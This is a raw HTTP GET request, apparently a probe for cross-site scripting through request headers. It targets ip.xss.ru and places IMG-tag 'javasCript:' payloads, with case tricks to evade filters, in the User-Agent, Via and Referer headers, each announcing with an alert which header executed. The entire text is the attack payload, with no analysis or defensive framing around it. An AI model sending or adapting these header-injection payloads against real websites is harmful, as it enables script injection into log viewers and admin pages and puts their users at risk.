GET http://ip.xss.ru/header.php HTTP/1.1
 Accept: */*
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Accept-Encoding: gzip,deflate
 Accept-Language: en-us,en;q=0.5
 Connection: keep-alive
 Host: ip.xss.ru
 Keep-Alive: 300
 User-Agent: <IMG SRC="javasCript:alert('User-Agent - client side script works!!')">
 Via: <IMG SRC="javasCript:alert('Via - client side script works!!')">
 Referer: <IMG SRC="javasCript:alert('Referer - client side script works!!')">